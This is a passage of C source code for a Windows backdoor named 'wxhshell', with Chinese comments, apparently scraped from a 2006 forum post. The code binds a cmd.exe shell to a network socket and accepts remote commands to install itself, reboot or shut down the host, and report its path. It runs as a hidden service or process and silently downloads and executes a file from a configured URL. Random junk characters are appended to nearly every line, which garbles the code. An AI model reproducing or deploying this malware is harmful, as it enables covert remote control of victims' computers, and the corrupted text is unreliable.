  case '?': { 2yQ}Lxr(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +|?|8"Qg  
    break; 80$0zbw$  
  } xEiX<lguyN  
  // 安装 -N7xO)  
  case 'i': { PyMVTP4  
    if(Install()) XW?ybH6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iTLW<wG  
    else NYjS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v : "m  
    break; MV<!<Qmj  
    } $Pd|6  
  // 卸载 F:;!) H*  
  case 'r': { g%\$ !b  
    if(Uninstall()) kG$E tE#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jJUGZVM6)  
    else 1 Itil~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m4"N+_j  
    break; v]:+` dV  
    } ?Q96,T-) c  
  // 显示 wxhshell 所在路径 >I4p9y(u  
  case 'p': { W-z90k4Z5  
    char svExeFile[MAX_PATH]; cq,v1Y<  
    strcpy(svExeFile,"\n\r"); b " ")BT  
      strcat(svExeFile,ExeFile); '%SR.JL  
        send(wsh,svExeFile,strlen(svExeFile),0); pcy<2UV  
    break; !/j,hO4Z4  
    } oTCzYY  
  // 重启 6 Wpxp\  
  case 'b': { (*6 m^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5LX8:~y  
    if(Boot(REBOOT)) c~}={4M]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7}4'dW.  
    else { u5w&X8x  
    closesocket(wsh); wG1y,u'  
    ExitThread(0); :)#hrFp  
    } (j' {~FB  
    break; Kt W6AZJ  
    } q,B3ru.?d  
  // 关机 p%q.*trUb9  
  case 'd': { _1^8xFe2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .,3Zj /  
    if(Boot(SHUTDOWN)) Rj[ hhSx 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^GMJ~[]  
    else { XTJvV  
    closesocket(wsh); Q}kfM^i  
    ExitThread(0); ^P`NMSw  
    } t5.`! 3EO  
    break; $<B +K  
    } CI`N8 f=v  
  // 获取shell <i{K7}':  
  case 's': { 25:Z;J>  
    CmdShell(wsh); 0$6*o}N%  
    closesocket(wsh); ![ZmV  
    ExitThread(0); 9tn;L"#&N  
    break; Sw)i1S9  
  } m0|K#^  
  // 退出 Y\xUT>(J7  
  case 'x': { @mf({Q>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 79ckLd9  
    CloseIt(wsh); $;2)s} ci  
    break; '0|o`qoLzA  
    } +t98 @  
  // 离开 mEFw|M{  
  case 'q': { +\0T\;-Xe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A\z`c e!  
    closesocket(wsh); )6{< i5nJ\  
    WSACleanup();  H;NbQ  
    exit(1); $X \va?(  
    break; 4KXc~eF[M"  
        } GIT #<+"  
  } vJ"i.:Gf4  
  } DP 9LO_{  
=E(#YCx  
  // 提示信息 *5k+t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gAt~?HvW6  
} s~^}F+n  
  } b9~A-Z  
Q&CElx?L  
  return; {tw+#}T a  
} @PI%FV z~p  
T%$jWndI  
// shell模块句柄 /7D<'MF  
int CmdShell(SOCKET sock) P(,?#+]-  
{ Y- )x Tn  
STARTUPINFO si; fE]XWA4U  
ZeroMemory(&si,sizeof(si)); 6cz/n8Mg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ` qUX.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vDFGd-S  
PROCESS_INFORMATION ProcessInfo; fBhoGA{=g  
char cmdline[]="cmd"; ml6u1+v5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iafE5b)  
  return 0; aUc|V{Jp  
} Kcy@$uF{2  
IgIYguQ   
// 自身启动模式 T 2F6)e  
int StartFromService(void) %eg+F  
{ .fAv*pUzU  
typedef struct o`n$b(VZ  
{ S<`I Jpkv  
  DWORD ExitStatus; - +> 1r  
  DWORD PebBaseAddress; V5i*O3a~   
  DWORD AffinityMask; A1 "SLFY  
  DWORD BasePriority; l +*&:Q/  
  ULONG UniqueProcessId; 3djC;*,9,  
  ULONG InheritedFromUniqueProcessId; mN |r)4{`  
}   PROCESS_BASIC_INFORMATION; rV6/Tdy  
nKoiG*PI  
PROCNTQSIP NtQueryInformationProcess; as*4UT3  
99xEm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zCv"]%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C;+h.;}<D  
e:'?*BYVg3  
  HANDLE             hProcess; TaE~s  
  PROCESS_BASIC_INFORMATION pbi; sEMQ  
V#REjsf,t-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zf$Np50@(  
  if(NULL == hInst ) return 0; eI45PMP  
>P6BW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0k)rc$eDF+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =X\^J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ApBWuXp|u  
R^?/' dr  
  if (!NtQueryInformationProcess) return 0; jTO), v:w  
hj'(*ND7z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *g?Po+ef%  
  if(!hProcess) return 0; o1 M$.*  
)nL`H^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8NyJc"T<.  
I:K"'R^  
  CloseHandle(hProcess); hGpv2>M  
/1Ue?)g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); , ]bB9tid  
if(hProcess==NULL) return 0; _ODbY;M  
C74a(Bk}H  
HMODULE hMod; AGLscf.  
char procName[255]; 9$2/MT't  
unsigned long cbNeeded; UQ{L{H   
*S2ypzwRZ,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qkiI/nH3  
bv&;R  
  CloseHandle(hProcess); +v=C@2T  
j4qJ.i  
if(strstr(procName,"services")) return 1; // 以服务启动 0#nPbe,Lj  
Lhqz\o  
  return 0; // 注册表启动 8- 2cRs  
} yu;P +G  
dq]0X?[6  
// 主模块 #{?qNl8F*J  
int StartWxhshell(LPSTR lpCmdLine) !QvZ<5(  
{ gHo?[pS%y  
  SOCKET wsl; Za 1QC;7  
BOOL val=TRUE; %44leINx  
  int port=0; e J6$-r  
  struct sockaddr_in door; 'Iw NTM  
9b9$GyI  
  if(wscfg.ws_autoins) Install(); XT4{Pe7{[P  
PpAu!2lt9  
port=atoi(lpCmdLine); >U[j]V]  
4rLL[??  
if(port<=0) port=wscfg.ws_port; S[J}UpV  
s+<Yg$)  
  WSADATA data; EwvoQ$#jv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >&}%+r\  
#T'{ n1AI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jcrw#l8|C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sM `DL  
  door.sin_family = AF_INET; }f6HYU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Ge"anO  
  door.sin_port = htons(port); ` 2V19 s]  
G$F<$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [q8 P~l  
closesocket(wsl); 6\q]rfQ  
return 1; W *),y:  
} JehrDC2N  
1cpiHZa  
  if(listen(wsl,2) == INVALID_SOCKET) { 5>D>% iaHv  
closesocket(wsl); sN9&,&W1  
return 1; {#?N  
} vunHNHltW0  
  Wxhshell(wsl); ix)M`F%P3  
  WSACleanup(); 4NheWM6  
F%@aB<Nu  
return 0; ,9zjFI  
Whm,F^  
} W{6|tx)  
`ZyI!"  
// 以NT服务方式启动 JfLqtXF[&"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R{<kW9!  
{ )rn*iJ.e8  
DWORD   status = 0; N4F.Y"R$(  
  DWORD   specificError = 0xfffffff; &^}1O:8e  
'"0'Oua  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r!_-"~`7E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I9_RlAd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RO+GK`J  
  serviceStatus.dwWin32ExitCode     = 0; G|!Tj X7s  
  serviceStatus.dwServiceSpecificExitCode = 0; qouhuH_WtJ  
  serviceStatus.dwCheckPoint       = 0; 5F)C  jQ  
  serviceStatus.dwWaitHint       = 0; $p#Bi-&  
bnf'4PAt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IA8f*]?  
  if (hServiceStatusHandle==0) return; =_JjmTy;a  
<J< {l  
status = GetLastError(); *+Ek0M  
  if (status!=NO_ERROR) 3]}D`Qs6  
{ 4tRYw0f47  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h \fjBDU^  
    serviceStatus.dwCheckPoint       = 0; P+@/O  
    serviceStatus.dwWaitHint       = 0; DR5\45v  
    serviceStatus.dwWin32ExitCode     = status;  eI$oLl@  
    serviceStatus.dwServiceSpecificExitCode = specificError; Yb|c\[ %  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [kVS O  
    return; ~7*.6YnI  
  } wN_Vfb  
<=zQ NBtx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BTqS'NuT  
  serviceStatus.dwCheckPoint       = 0; ] {RDVA=]  
  serviceStatus.dwWaitHint       = 0; JFcLv=U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !#], hok8X  
} &FMc?wq  
TV)h`\|Z*  
// 处理NT服务事件,比如:启动、停止 \FQRNj?'_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZQ4p(6a   
{ /?uPEKr  
switch(fdwControl) fiK6@,  
{ l: HTk4$0  
case SERVICE_CONTROL_STOP: s 1 A.+  
  serviceStatus.dwWin32ExitCode = 0; ~Z\8UsVN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %P;lv*v.  
  serviceStatus.dwCheckPoint   = 0; dP9qSwTa  
  serviceStatus.dwWaitHint     = 0;  ~^NtO  
  { g!g#]9j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~8'sBT  
  } }*M6x;t  
  return; C)[,4wt,  
case SERVICE_CONTROL_PAUSE: Nyku4r0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {% rA1g  
  break; ((YMVe  
case SERVICE_CONTROL_CONTINUE: [+rfAW>p}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &jS>UsGh  
  break; v,FU^f-'  
case SERVICE_CONTROL_INTERROGATE: k :(SCHf  
  break; b.2aHu( 3  
}; +F R0(T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t|w_i-&b,  
} kYzIp  
&p'Y^zL-  
// 标准应用程序主函数 %R}qg6dL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y_* !6Xr  
{ Eq%}  
/Wi[OT14  
// 获取操作系统版本 iN bIp"W  
OsIsNt=GetOsVer(); D#_3^Kiawj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zd3S:),&  
0pZ4BZdT|  
  // 从命令行安装 ()Y~Q(5ji  
  if(strpbrk(lpCmdLine,"iI")) Install(); $h+1u$po  
=ElO?9&  
  // 下载执行文件 hCi60%g/n  
if(wscfg.ws_downexe) { 1vS#K=sb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K?6jXJseb  
  WinExec(wscfg.ws_filenam,SW_HIDE); f/U`  
} 6/f7<  
.N,bIQnj  
if(!OsIsNt) { _'#n6^Us<  
// 如果时win9x,隐藏进程并且设置为注册表启动  `xKp%9  
HideProc(); Z_LFIz*c  
StartWxhshell(lpCmdLine); NpE*fR')  
} ~Q Oe##  
else >"??!|XG^  
  if(StartFromService()) >Rl"  
  // 以服务方式启动 E~DQ-z  
  StartServiceCtrlDispatcher(DispatchTable); Df}A^G >X  
else j@AIK+0Qc  
  // 普通方式启动 DEBB()6,  
  StartWxhshell(lpCmdLine); RF`.xQ26=  
a[>/h3  
return 0; Ab~3{Q]#  
}
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只看该作者 1 发表于: 2006-10-10
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